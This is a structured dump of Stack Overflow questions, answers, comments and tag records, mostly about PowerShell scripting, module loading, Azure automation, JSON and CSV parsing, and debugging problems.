has body: When importing a module fails, it will still load the RequiredModules defined in the .psd1 manifest. Consider the following module files: MyModule.psd1 @{ RootModule = 'MyModule.psm1' ModuleVersion = '1.0.0.0' GUID = '5b058fa7-5248-4a9a-b0f3-75ba6e3a123c' Author = 'Author' PowerShellVersion = '5.1' RequiredModules = @('NetConnection') ScriptsToProcess = @('RunFirst.ps1') PrivateData = @{ PSData = @{} } } RunFirst.ps1 #Requires -RunAsAdministrator # <Perform misc checks, initialize environment> Before importing MyModule: PS C:\MyModule> Get-Module ModuleType Version Name ---------- ------- ---- Manifest 3.1.0.0 Microsoft.PowerShell.Management Manifest 3.1.0.0 Microsoft.PowerShell.Utility Script 2.3.5 PSReadline Failing to load the module from an unelevated console: PS C:\MyModule> Import-Module .\MyModule.psd1 Import-Module : The script 'RunFirst.ps1' cannot be run because it contains a "#requires" statement for running as Administrator. The current Windows PowerShell session is not running as Administrator. Start Windows PowerShell by using the Run as Administrator option, and then try running the script again. After Import-Module failure: PS C:\MyModule> Get-Module ModuleType Version Name ---------- ------- ---- Manifest 3.1.0.0 Microsoft.PowerShell.Management Manifest 3.1.0.0 Microsoft.PowerShell.Utility Manifest 2.0.0.0 NetConnection <----- How to prevent this from loading? Script 2.3.5 PSReadline Questions Is there a dependable way to prevent the RequiredModules from loading (or programmatically unload said modules) if/when Import-Module fails? As a side question: Since the #Requires statement applies to scripts, is RunFirst.ps1 the most appropriate place for #Requires -RunAsAdministrator in a module? NOTE: This isn't an X/Y problem, I simply used #Requires -RunAsAdministrator in order to showcase an Import-Module failure. This is just one of several circumstances that can cause Import-Module to fail, and the variety of different circumstances could very well im…

http://stackoverflow.com/comment/139737837
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79244326
score: 0
has text: Just to be clear, your current code works but throws this out of mem exception due to the recursion ? So you only need help improving its performance correct ?

http://stackoverflow.com/comment/139719139
comment on: http://stackoverflow.com/a/79230278
has text: I'm trying to run the PS script in automation account runbook but I'm receiving the error. You may need to login again after updating "EnableLoginByWam". Unable to acquire token for tenant 'organizations' with error 'DeviceCodeCredential authentication failed: Verification code expired before contacting the server' DeviceCodeCredential authentication failed: Verification code expired before contacting the server
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/139722956
has text: There is no domain policy as this box is not part of any. I did take a look in gpedit.msc and Filtered for Shutdown and found "Scripts (Startup/Shutdown)". It's set to Not Configured. But this seems to be related to snap-ins. However even if there was a setting, that would give carte blanche access to execute any scripts on Startup/Shutdown. That would have to be modified before my scripts would be able to be run. I will focus instead in seeing if I can make the .bat file command simpler based on your comments above. Thanks for all your suggestions so far.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052

http://stackoverflow.com/comment/139612546
comment on: http://stackoverflow.com/a/79174522
type: AnswerComment
type: Comment
has text: Unfortunately, it does not help to run as admin, the UAC prompt displays anyway. I am not using AutoHotKey, it just happened to be the first image to show up when I googled for similar images. I'll add a note on this in the question.
score: 0

http://stackoverflow.com/q/79094796
has comment: http://stackoverflow.com/comment/139484724
tagged with: powershell
has comment: http://stackoverflow.com/comment/139471571
has title: Script block not recognized
has comment: http://stackoverflow.com/comment/139466375
has body: I have this script that have that error : Register-WmiEvent: Cannot bind parameter 'Action'. Cannot convert the value of type "System.String" to type "System.Management.Automation.ScriptBlock". Does somebody know why ? it seems taht for an unknown reason it is not recognized the script block $logPath = "C:\USBScanLogs" if (-not (Test-Path $logPath)) { New-Item -Path $logPath -ItemType Directory } function Start-USBScan { param ( [string[]]$DriveLetters ) foreach ($DriveLetter in $DriveLetters) { Write-Host "Scanning USB Drive: $DriveLetter" if (Get-Command -Name Start-MpScan -ErrorAction SilentlyContinue) { # Start scanning the drive Start-MpScan -ScanType CustomScan -ScanPath "$DriveLetter\" -ErrorAction Stop Write-Host "Scanning drive $DriveLetter with Windows Defender..." } else { Write-Host "Windows Defender not available. Please ensure it is installed." } # Log results $timeStamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" Add-Content -Path "$logPath\scan_log.txt" -Value "$timeStamp - Scanned drive $DriveLetter" } } function Get-RemovableDrives { # Get all drives except C:\ $drives = Get-PSDrive -PSProvider FileSystem | Where-Object { $_.Name -ne 'C' -and $_.Used -ge 0 } return $drives.Name } # Monitor the event log for Event ID 6416 (USB device inserted) Write-Host "Monitoring for Event ID 6416 (USB devices)..." Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode = '6416'" -SourceIdentifier 'USBDetection' -Action { # This is the ScriptBlock to be executed when the event is triggered # Get the event details $eventData = $Event.SourceEventArgs.NewEvent.TargetInstance.InsertionStrings $usbDetails = $eventData[0] Write-Host "USB device connected: $usbDetails" # Retrieve all available drives except C:\ $drivesToScan = Get-RemovableDrives # Start scan on each drive Start-USBScan -DriveLetters $drivesToScan } Write-Host "USB Scan Monitor started. Waiting for a USB device to be …
score: 0
type: UnansweredQuestion
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139468763
linked to: http://stackoverflow.com/q/54495023

http://stackoverflow.com/comment/139638424
has text: @555Russich You're most welcome! For future reference, most modules on PowerShell Gallery have a "Project Site" link on the left, which [in the case](https://www.powershellgallery.com/packages/NtObjectManager/) links straight to the github repo :)
type: Comment
comment on: http://stackoverflow.com/a/79185888
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139553082
comment on: http://stackoverflow.com/a/79140197
type: Comment
has text: Update: I went to this site: https://docs.anaconda.com/working-with-conda/reference/faq/ and navigated to anaconda3/bin in my WSL terminal. The site says to navigate to the subdirectory `activate`, but mine doesn't have `activate` as a directory, instead it's a file. I tried running `source activate` and that does not work.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139612065
type: AnswerComment
has text: **What!!?** That's close to insane. Why on earth would someone decide to replace a universal constant with *"fantasy"* numbers, especially when padding with zeros would have been light-years better?
type: Comment
comment on: http://stackoverflow.com/a/79174103
score: 0

http://stackoverflow.com/comment/139666540
has text: @Darin: . Yes, quoting (escaping) hell is real on Windows. With respect to robustly calling the PowerShell CLI, especially from `cmd.exe` / batch files, I've tried to provide guidance in the bottom section of [this answer](https://stackoverflow.com/a/76771221/45375).
score: 1
comment on: http://stackoverflow.com/q/79198594
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79138694
has comment: http://stackoverflow.com/comment/139551722
answers question: http://stackoverflow.com/q/79138280
score: -1
has comment: http://stackoverflow.com/comment/139550644
has body: If you are executing a PowerShell command in a batch like that you might have problems in 3 places: The command being executed. Try including the -NoExit parameter to the powershell.exe call so you can catch any script errors. You'll need to remove it later. The powershell.exe process. If you have syntax problems in the command, or the execution policy is restrictive PowerShell will not execute. Try adding the parameter -ExecutionPolicy Bypass to the powershell.exe call (requires administrator). Also try to execute the raw command in a PowerShell host to see if it gives the expected result. Syntax or execution problems in the batch file. Instead of executing the batch try calling it from a command prompt, this way when it finishes executing the window will still be open and you can see any errors that it might write to STDERR. Combine this with the -NoExit parameter and you will end up with two windows. Let me know if it worked for you.
has comment: http://stackoverflow.com/comment/139549783
has comment: http://stackoverflow.com/comment/139552378
type: Answer
downvote count: 1
upvote count: 0
has comment: http://stackoverflow.com/comment/139552382
has comment: http://stackoverflow.com/comment/139549763

http://stackoverflow.com/q/79122136
duplicate of: http://stackoverflow.com/q/55652693
has title: Run PowerShell script with combinations of parameters
has comment: http://stackoverflow.com/comment/139516032
has comment: http://stackoverflow.com/comment/139522109
has comment: http://stackoverflow.com/comment/139518419
has comment: http://stackoverflow.com/comment/139521034
has comment: http://stackoverflow.com/comment/139518902
has comment: http://stackoverflow.com/comment/139516083
linked to: http://stackoverflow.com/q/55652693
score: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139516470
type: UnansweredQuestion
has body: I need help with the code below: The main goal is to run a verification script on each one of the patches ($Patches) Currently, each interaction of a patch is using the corresponding user from ($users) The $patches[$i], $users[$j] is only for my index test The result for this case is: 2092541 AutomationUser1 2109086 AutomationUser2 2109897 AutomationUser3 $path = "\\myscripts\test" (for example) [Array]$users = "AutomationUser1","AutomationUser2","AutomationUser3","AutomationUser4","AutomationUser5" [Array]$patches = "2092541", "2109086", "2109897" if ($patches) { for ($i = 0; $i -lt $patches.Count; $i++) { for ($j = $i ; $j -lt $users.Count; $j++) { . C:\AutomaticScript\ScriptForPipelineheader.ps1 -path "$($path)\$($patches[$i])" -User $users[$j] #$Tag = (Get-VSTeamWorkItem -Id $patches[$i] -WarningAction SilentlyContinue).Fields.'System.Tags' Write-Host "$($patches[$i]) $($users[$j])" break } } } But this is not the logic I need, what I need is not to check if a TAG contains a specific string, the check is running after the script and only if the TAG includes it, the next iteration with the next step will use the next user, otherwise (TAG was not found) the patch should run the current user. For an example: The script runs on the first patch (2092541), in case the tag is found (run with AutomationUser1) the next patch (2109086) will run with AutomationUser2. 2092541 AutomationUser1 2109086 AutomationUser2 Example 2: The script runs on the first patch (2092541), in case the tag was not found (run with AutomationUser1) the next patch (2109086) will run with AutomationUser1 also. 2092541 AutomationUser1 2109086 AutomationUser1 Example 3: The script runs on the first patch (2092541), in case the tag was not found (run with AutomationUser1) the next patch (2109086) will run with AutomationUser1 also. In case (2109086) has the tag the result should be: 2092541 AutomationUser1 2109086 AutomationUser1 2109897 AutomationUser2 Regarding how to find the tag I am using this: …
has comment: http://stackoverflow.com/comment/139522118
has comment: http://stackoverflow.com/comment/139518860
has comment: http://stackoverflow.com/comment/139521182
type: Question
answer count: 0
has comment: http://stackoverflow.com/comment/139521163

http://stackoverflow.com/comment/139707953
has text: @MathiasR.Jessen From the same ps1 session
type: QuestionComment
comment on: http://stackoverflow.com/q/79224521
type: Comment
score: 0

http://stackoverflow.com/comment/139529123
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79116129
has text: @iRon - piping to Foreach-Object {Add-ADGroupMember -Identity "Template User" -Members $_} causes it to just kind of sit there and never falls through.
score: 0

http://stackoverflow.com/q/79185594
tagged with: windows
has answer: http://stackoverflow.com/a/79186126
type: Question
answer count: 1
tagged with: powershell
has title: Pin a portable applikation to taskbar using PowerShell (Win 10/11 and Server 2022)
score: 0
has body: First, I do not have an AUMID Primary OS is Windows Server 2022 I want to pin an application to the taskbar, and to start. The portable application is copied to the target with a PS script, and i have it in the Start menu. It is a link to this "app.exe" i want to pin to the taskbar.
type: UnansweredQuestion

http://stackoverflow.com/q/79227970
answer count: 2
linked to: http://stackoverflow.com/q/51794142
score: 1
type: Question
tagged with: object-graph
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/79228417
tagged with: transformation
has body: I have a JSON like this, { "TotalCount": 2, "Data": [ { "ID": 9663696221792, "Code": "08099991", "Items": [ { "Amount": 5.05, "LineNo": 1 }, { "Amount": 16.08, "LineNo": 2 } ] }, { "ID": 9663696221793, "Code": "08028001", "Items": [ { "Amount": 26.13, "LineNo": 1 } ] } ] } And I need the output to be like this, row ID CODE Cost header 9663696221792 08099991 21.13 Item 1 9663696221792 08099991 5.05 Item 2 9663696221792 08099991 16.08 and row ID CODE Cost Header 9663696221793 08028001 26.13 Item 1 9663696221793 08028001 26.13 and so on for more headers and items so far $array = Get-Content -Path 'response.json' | ConvertFrom-Json then I cycle through foreach ($root in $array.data) then though each item foreach ($Item in $array.data.items) however this cycles through all Items in the data array. any ideas.
downvote count: 0
has comment: http://stackoverflow.com/comment/139709060
tagged with: powershell
has title: PowerShell Parse JSON with header and nested items into lines
has answer: http://stackoverflow.com/a/79228025
has comment: http://stackoverflow.com/comment/139708978
type: UnansweredQuestion
upvote count: 1
favorite count: 0

http://stackoverflow.com/a/79156430
has body: You cannot read events via the REST API; you'd need to use AMQP to do so. I concur with the comment suggesting Azure.Messaging.EventHubs - it targets netstandard2.0 and can be used with a PowerShell host. We don't generally recommend using EventHubConsumerClient.ReadEventsAsync for production scenarios, but it seems like a good fit here, given the following assumptions: You don't want to retain state; you'll always want to read from the beginning of the stream. There are "a few hundred events" in the hub and scattered across partitions. You're not expecting that number to grow significantly. You aren't concerned with fairness when reading from partitions; given the small number of events, performance and throughput aren't a concern so you don't care if the pattern of reads favors a given partition or two until you hit the end. If the above assumptions hold, the Read events from all partitions sample demonstrates basic usage. Unfortunately, we don't have PowerShell-based examples, so you'll have to translate from C#.
score: 4
upvote count: 4
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79155083

http://stackoverflow.com/q/79149164
upvote count: 1
has comment: http://stackoverflow.com/comment/139565811
tagged with: memory-leaks
type: Question
has title: How can I avoid a memory leak when force killing PowerShell?
has answer: http://stackoverflow.com/a/79150671
accepted answer: http://stackoverflow.com/a/79150671
downvote count: 0
has body: I'm making a Python script that creates shortcuts using PowerShell. I've taken advantage of the fact that if a network path isn't available it will take a long time to create the shortcut. I force kill the process if it takes too long, and this results in a bunch of shortcuts of available computers. Here is what's inside the loop temp = "powershell; $WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut(\"\"\"%cd%\\" + list[i][:list[i].find("\\")] + ".lnk\"\"\"); $Shortcut.TargetPath = \"\"\"\\" + list[i][list[i].find("\\"):-1] + "\"\"\"; $Shortcut.Save()" subprocess.Popen(temp, shell=True) This runs through a list that is like "COMPUTER1/insert ip here" I then have another script that uses tasklist to find PowerShell processes and kills them after around 2 seconds. This works, but leads to a memory leak. I think it's a result of killing the PowerShell and the resources aren't released from RAM. Is there a way to release that memory or avoid the leak altogether?
tagged with: powershell
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/60197342
has comment: http://stackoverflow.com/comment/139585874
score: 1
favorite count: 0
tagged with: python
tagged with: kill-process
has answer: http://stackoverflow.com/a/79151755
answer count: 2
possible better answer: http://stackoverflow.com/a/79151755

http://stackoverflow.com/comment/139435399
score: 0
comment on: http://stackoverflow.com/q/79077815
type: QuestionComment
has text: Or have configuration file in the project root that PS automatically grabs to configure itself.
type: Comment

http://stackoverflow.com/q/79147832
score: 1
has answer: http://stackoverflow.com/a/79148116
has body: I like to debug a simple "Hello World" powershell script but it does not work. When I click on the "Debug" Icon (or press F5) then nothing happens. I only get some waiting (hourglass cursor) symbols. This waiting symbol disappears after a few seconds: but no output nor warning/error or anything else. This bar does not appear either. Here are the relevant configuration settings: "launch": { "version": "0.2.0", "configurations": [ { "name": "PowerShell Launch Current File", "type": "PowerShell", "request": "launch", "script": "${file}", "cwd": "${cwd}" } ] }, { "[powershell]": { "debug.saveBeforeStart": "nonUntitledEditorsInActiveGroup", "editor.semanticHighlighting.enabled": false, "editor.wordSeparators": "`~!@#$%^&*()=+[{]}\\|;:'\",.<>/?" }, "powershell.powerShellDefaultVersion": "Windows PowerShell", "powershell.integratedConsole.suppressStartupBanner": true, "powershell.codeFormatting.useCorrectCasing": true, "powershell.powerShellAdditionalExePaths": { "Powershell 7.4": "c:\\Program Files\\PowerShell\\7\\pwsh.exe", "Powershell 7.4 (x86)": "c:\\Program Files (x86)\\PowerShell\\7\\pwsh.exe", "Windows PowerShell (x86)": "C:\\Windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe", "Windows PowerShell": "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe" }, "powershell.enableProfileLoading": false, "powershell.developer.setExecutionPolicy": true, "powershell.promptToUpdatePowerShell": false, "powershell.scriptAnalysis.enable": false } When I check powershell processes in task manager, then I see three of these: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -noexit -command "try { . "c:\Programs\Microsoft VS Code\resources\app\out\vs\workbench\contrib\terminal\common\scripts\shellIntegration.ps1" } catch {}" and one of this: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Import-Module 'c:\Users\domscheit.vscode\extensions\ms-vscode.powershell-2024.2.2\modules\PowerShellEditorServices…
favorite count: 0
tagged with: visual-studio-code
type: Question
downvote count: 0
tagged with: powershell
tagged with: debugging
answer count: 1
type: UnansweredQuestion
upvote count: 1
has title: Problem to debug powershell script in Visual Studio Code

http://stackoverflow.com/q/79093007
has answer: http://stackoverflow.com/a/79098253
tagged with: powershell
accepted answer: http://stackoverflow.com/a/79124805
type: AnsweredQuestion
tagged with: azure
tagged with: microsoft-graph-api
has answer: http://stackoverflow.com/a/79124805
score: 0
has title: Read 'Attribute & Claims' from SAML Entra application configuration using PowerShell
answer count: 2
has body: I want to read 'Attribute &amp; Claims' from SAML enterprise application configuration using PowerShell. I have found the Graph command Get-MgBetaServicePrincipalClaimMappingPolicy: https://learn.microsoft.com/en-us/graph/api/serviceprincipal-list-claimsmappingpolicies?view=graph-rest-beta&amp;tabs=powershell but it always return empty value, even if I can see that attributes are configured in Azure Portal. Portal I am using graph scope: Application.Read.All and Policy.Read.All Any idea how I can read this configuration? Regards
tagged with: microsoft-entra-id
type: Question
possible better answer: http://stackoverflow.com/a/79098253

http://stackoverflow.com/q/79205845
has title: Powershell howto Filter XML Nodes
has answer: http://stackoverflow.com/a/79205861
favorite count: 0
tagged with: http://stackoverflow.com/tag/xml
type: Question
downvote count: 0
score: 2
upvote count: 2
has body: I'm searching for a way to filter XML-Files. I couldn't find a good tutorial, so I ask here: for that here a small exmaple XML: <?xml version="1.0" encoding="utf-8"?> 2024 Rack X left Y right Z left horizontal 185 vertical 152 Rack 400 kW 200 kW In End I'd like to have the following Information: x,left Y,right Z,left For That I've to Filter first the element-node with the Name "axis". Then I have to filter alle element-nodes which have an attribute-Node with the Name "level" How can I do that filtering operations in Powershell? Thanks
answer count: 1
tagged with: powershell
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79205861

http://stackoverflow.com/comment/139683649
has text: Hi @Sumit Bhardwaj, you can add `checkout: git://project1/repo1` with path `repo1` in your `pipeline_template.yaml` and change `scriptPath` to `$(Agent.BuildDirectory)/repo1/helper_scripts/script.ps1`. This is not a hard-coded path, but a new path `repo1/` is created in each pipeline that calls this template. In this case, no matter which repo or pipeline this template is used in, it will work as expected. Let me know if you have any other question.
comment on: http://stackoverflow.com/q/79163395
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139552893
type: Comment
has text: *small change to my answer
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79141731

http://stackoverflow.com/comment/139593042
comment on: http://stackoverflow.com/a/79162213
type: AnswerComment
type: Comment
score: 0
has text: 1. I set up the automation account and imported the necessary modules. 2. I created a runbook, executed a PowerShell script successfully, and then published the runbook. What steps should I take to send a daily email notification to the IT admins with the output of that runbook or PowerShell script?

contacts
tags question: http://stackoverflow.com/q/79117908
tag name: contacts
type: Tag

http://stackoverflow.com/comment/139553288
score: 1
comment on: http://stackoverflow.com/a/79141485
type: AnswerComment
has text: Interesting, appreciate the input. thanks.
type: Comment

http://stackoverflow.com/comment/139722623
comment on: http://stackoverflow.com/q/79234274
type: Comment
has text: You should put the relevant code in the question.
score: 1
type: QuestionComment

http://stackoverflow.com/q/79071809
answer count: 1
type: AnsweredQuestion
has body: I'm trying to create a new Alert rule dynamically using DevOps pipelines and Powershell, but it's been really frustrating since documentation states some parameters are available to be passed in, but when running I get the following error: ##[error]The term '-Operator' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. Clearly, Microsoft documentation states it's possible to pass -Operator as a param $QueryRuleQuery = "let MinTime = ago(5m);\nAzureMetrics\n| where TimeGenerated < MinTime\n and MetricName == \`"storage_percent\`"\n and Maximum >= $($Threshold)\n and (ResourceId has \`"ELASTICPOOLS\`" or ResourceId has \`"DATABASES\`")\n| project ResourceGroup, Resource, MetricName, Maximum,ResourceId\n| distinct ResourceGroup, Resource, MetricName, Maximum,ResourceId\n" $QueryRuleScope = "/subscriptions/$($SubscriptionId)/resourcegroups/$($REDACTED.ToLower())-$($Environment.ToLower())-redacted/providers/microsoft.operationalinsights/workspaces/$($REDACTED.ToLower())-$($RegionCode.ToLower())-$($EnvironmentShort.ToLower())-redacted" $QueryRuleCondition = New-AzScheduledQueryRuleConditionObject ` -Query $QueryRuleQuery ` -TimeAggregation 'Count' ` -ResourceIdColumn 'Resource' ` -Operator 'GreaterThanOrEqual' ` -Threshold 10 ` -FailingPeriodNumberOfEvaluationPeriod 1 ` -FailingPeriodMinFailingPeriodsToAlert 1 New-AzScheduledQueryRule ` -Name $QueryRuleName ` -ResourceGroupName $ResourceGroupName ` -Location $RegionCodeDatacenter ` -ActionGroupResourceId "/subscriptions/$($SubscriptionId)/resourceGroups/$($REDACTED.ToLower())-$($Environment.ToLower())-redacted/providers/microsoft.insights/actionGroups/$($REDACTED.ToLower())-$($RegionCode.ToLower())-$($EnvironmentShort.ToLower())-redacted" -Description "This will trigger when an Elastic Pool or Database reaches $($Threshold) percent of maximum size" -DisplayName $QueryRuleName ` -Sco…
tagged with: powershell
tagged with: azure
tagged with: azure-alerts
score: 0
tagged with: azure-powershell
has answer: http://stackoverflow.com/a/79087635
accepted answer: http://stackoverflow.com/a/79087635
type: Question
has title: Create Alert rule using New-AzScheduledQueryRuleConditionObject returns bad term

http://stackoverflow.com/q/79208253
tagged with: azure-devops
downvote count: 0
answer count: 1
type: AnsweredQuestion
tagged with: infrastructure-as-code
tagged with: powershell
tagged with: azure
upvote count: 1
accepted answer: http://stackoverflow.com/a/79210674
has comment: http://stackoverflow.com/comment/139676867
has comment: http://stackoverflow.com/comment/139676134
tagged with: azure-container-apps
score: 1
has answer: http://stackoverflow.com/a/79210674
has body: Every time the update command runs, deletes the last Scale Rule, Custom type, a cron job and a memory utilization percentage set The update command executes and it overlays the previous update, since the Azure Container App is already created. I want to update it after creation, with two or more scale rules (using just one script). How can I add that scale rules (two Custom types, one for Cron job and another one for memory utilization)? How can I add them to the previously created Azure Container App, exists another kind of solution to add scale rules without using the update command (Azure CLI or Az Modules, other solutions)? Or, if adding more than one scale rule after the Azure Container App, is creating it simply not possible? For example, if I run this command again to add another scale rule it will overlay the previous one. How to fix this, if possible? az containerapp update -n $name -g $rg --scale-rule-name $ruleName --scale-rule-type $customRuleType --scale-rule-metadata start=$start end=$end timezone=$timezone desiredReplicas=$desiredReplicas
favorite count: 0
has title: Using script commands, how to add multiple scale rules to an Azure Container App?
type: Question

http://stackoverflow.com/comment/139547931
has text: @LeGEC it does have access. Like i said the issue is intermitent so it works fine at times with no changes.
comment on: http://stackoverflow.com/q/79110614
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/79152963
score: 3
upvote count: 3
tagged with: http://stackoverflow.com/tag/csv
has title: How to prevent Import-Csv ignores empty lines?
has body: Background I have a CSV file that contains both empty line and line breaks in cells like this: Richard Roe Mary Major "Alex Smith Betty Brown Chris Clark" "Betty Brown Donna Davis Edward Evans" Alex Smith "Richard Roe Mary Major" I am trying to write a PowerShell script to read this CSV file and get the following result (insert the name of their department in the list): "Legal Richard Roe" "Accounting Mary Major" "R&D Alex Smith Betty Brown Design Chris Clark" "R&D Betty Brown Design Donna Davis Edward Evans" "R&D Alex Smith" "Legal Richard Roe Accounting Mary Major" Problem When you read the CSV file with Import-CSV, it ignores the empty lines like this: PS C:\tmp> Import-Csv -Header Names .\NamesList.csv Names ----- Richard Roe Mary Major Alex Smith... Betty Brown... Alex Smith Richard Roe... PS C:\tmp> What I expected is: Names ----- Richard Roe Mary Major Alex Smith... Betty Brown... Alex Smith Richard Roe... You can switch to Get-Content to read the CSV, but it seems difficult to process the line breaks in the cell. Question Is there any way to prevent Import-Csv ignores empty lines? Edit Department-Name mappings in the another CSV file like this: Legal,Richard Roe Accounting,Mary Major R&D,Alex Smith R&D,Betty Brown Design,Chris Clark Design,Donna Davis Design,Edward Evans
possible better answer: http://stackoverflow.com/a/79153104
favorite count: 0
answer count: 3
has answer: http://stackoverflow.com/a/79153104
accepted answer: http://stackoverflow.com/a/79153108
type: Question
has answer: http://stackoverflow.com/a/79153108
has answer: http://stackoverflow.com/a/79153264
has comment: http://stackoverflow.com/comment/139572107
downvote count: 0
tagged with: import-csv
tagged with: powershell
type: AnsweredQuestion

http://stackoverflow.com/comment/139594324
comment on: http://stackoverflow.com/a/79162386
type: Comment
has text: It worked perfectly __ thanks a lot!
type: AnswerComment
score: 1

http://stackoverflow.com/comment/139448871
has text: The MessageBox class is a wrapper for the Win32 [MessageBox](https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messagebox) function. It's what it is, pre-cooked. If you want a custom presentation, you can build your own specialized window
comment on: http://stackoverflow.com/q/79085306
score: 4
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139653214
comment on: http://stackoverflow.com/q/79196973
score: 0
has text: No, I haven't. But VSCode shows the same characters as the Active Directory.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79186190
type: Answer
score: 2
upvote count: 2
has body: While PowerShell (Core) 7 - unlike Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) - supports storing relative target paths as such in symlinks (symbolic links), you need to pass them explicitly to the New-Item cmdlet's -Target parameter. By contrast (at least as of PowerShell 7.4.x), New-Item does not offer a parameter that is analogous to GNU ln's -r option, where the relative path to target is inferred from one given one on creation, relative to the location of the link itself. Therefore, determine the desired relative path yourself, and pass it directly as the link target (it will be interpreted and stored as relative to the location of the link, not to the current directory): New-Item -ItemType SymbolicLink .\abuse\change\99.md -Target ..\..\change\99.md In PowerShell v7.4+, you can determine the relative path programmatically, using the Resolve-Path cmdlets with its -Relative and -RelativeBase parameters, assisted by Split-Path, though doing so is nontrivial: $lnkPath = '.\abuse\change\99.md' New-Item -ItemType SymbolicLink $lnkPath -Target ( Resolve-Path -Relative -RelativeBasePath (Split-Path $lnkPath) (Resolve-Path .\change\99.md) ) Note: -RelativeBasePath must be a directory path, hence the use of Split-Path (the -Parent switch is implied). The -Relative switch is also needed, to ensure that the result is expressed as a relative path. Since the (positionally implied) -Path argument (the last one above) would be interpreted as relative to the -RelativeBasePath argument if a relative path were given, it is first resolved to a full path via a nested Resolve-Path call. General notes (not a problem with the specific paths at hand): Resolve-Path and Convert-Path, unfortunately, only work with existing paths - see GitHub issue #2993 for a green-lit feature request meant to address this via a new switch, but no one has stepped up to implement it yet. Using positional parameter binding wit…
downvote count: 0
answers question: http://stackoverflow.com/q/79185049
accepted answer of: http://stackoverflow.com/q/79185049
type: AcceptedAnswer

http://stackoverflow.com/comment/139592777
has text: 1. I have created the automation account with module import. 2. I have created a runbook and ran a code and it was successful and later I published the runbook. How can I create a email notification to IT admins email every day to get that runbook or powershell script output ?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79161585
score: 0

flutter
tags question: http://stackoverflow.com/q/79149663
type: Tag
tag name: flutter
tags question: http://stackoverflow.com/q/79486304
tags question: http://stackoverflow.com/q/79477038

http://stackoverflow.com/comment/139450150
comment on: http://stackoverflow.com/a/79086028
score: 0
type: AnswerComment
type: Comment
has text: I am getting such error `Exception setting "Sun": "The property 'Sun' cannot be found on this object. Verify that the property exists and can be set." At D:\BRestAPI\APIBP2\APIBP2.ps1:58 char:13 + $newRow.$previousDayOfWeek += $day + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], SetValueInvocationException + FullyQualifiedErrorId : ExceptionWhenSetting`

http://stackoverflow.com/comment/139699659
comment on: http://stackoverflow.com/q/79220211
has text: The simplest way to go is using `Start-ThreadJob` you can run that code linked in the answer as a task. Another approach more complex but also more customizable is to use a runspace to start the listener. Then that runspace is hooked to collection streams called `PSDataCollection<T>` and that collection has a `DataAdding` event you can subscribe to
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139429899
score: 0
type: AnswerComment
has text: Thank you for the response. I added your recommendations and it worked. Thank you so much!!!!!!!
comment on: http://stackoverflow.com/a/79072401
type: Comment

http://stackoverflow.com/comment/139680659
has text: Does my solution help to resolve the problem?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79207013
type: Comment

events
tags question: http://stackoverflow.com/q/79098593
type: Tag
tag name: events
tags question: http://stackoverflow.com/q/79186417
tags question: http://stackoverflow.com/q/79255264
tags question: http://stackoverflow.com/q/79246029

subnet
tags question: http://stackoverflow.com/q/79085814
type: Tag
tag name: subnet

unexpected-token
tag name: unexpected-token
tags question: http://stackoverflow.com/q/79104448
type: Tag

http://stackoverflow.com/comment/139717254
score: 1
comment on: http://stackoverflow.com/q/79229639
has text: Aside... maybe don't assume that `mc.ServerInstances[0]` will be SQLEXPRESS? On my computer, for example, it's SSIS. Although they're using the same root WMI object your PowerShell script is using quite a different technique to locate the SQLEXPRESS instance's protocols.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139589216
comment on: http://stackoverflow.com/q/79161585
type: Comment
has text: Do you mean the provided output is not excepted result?
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139460673
score: 0
type: AnswerComment
has text: Thanks. Both solutions didn't work. It printed as follows: `code` WHEN 'pc_cc_text$fx_review1 ' THEN 'For Company Review' WHEN 'pc_cc_text$fx_review2 ' THEN 'For Dept Review' `code` With extra gaps after the second column before the second tick.
type: Comment
comment on: http://stackoverflow.com/a/79091087

http://stackoverflow.com/comment/139539231
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
has text: https://www.reddit.com/r/PowerShell/comments/8bj4il/powershell_to_pull_bitlocker_recovery_most_recent/ This resolved my issue. Great script!
score: 0

http://stackoverflow.com/comment/139781340
type: Comment
score: 0
has text: Thank you Bright Ran-MSFT, your solution worked well.
comment on: http://stackoverflow.com/a/79184006
type: AnswerComment

http://stackoverflow.com/comment/139593870
comment on: http://stackoverflow.com/q/79164455
type: QuestionComment
type: Comment
score: 2
